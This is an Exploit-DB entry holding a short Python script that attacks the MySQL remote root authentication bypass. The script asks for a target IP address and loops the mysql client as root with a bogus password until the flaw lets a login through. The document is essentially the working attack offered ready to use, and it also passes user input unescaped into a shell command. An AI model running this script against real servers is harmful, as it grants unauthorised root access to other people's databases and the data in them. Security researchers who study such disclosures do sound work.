MySQL - Authentication Bypass

EDB-ID:

19092




Platform:

Multiple

Date:

2012-06-12


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#!/usr/bin/python
#
#
# This has to be the easiest "exploit" ever. Seriously. Embarassed to submit this a little.
#
# Title: MySQL Remote Root Authentication Bypass
# Written by: Dave Kennedy (ReL1K)
# http://www.secmaniac.com
#
# Original advisory here: seclists.org/oss-sec/2012/q2/493
import subprocess

ipaddr = raw_input("Enter the IP address of the mysql server: ")

while 1:
	subprocess.Popen("mysql --host=%s -u root mysql --password=blah" % (ipaddr), shell=True).wait()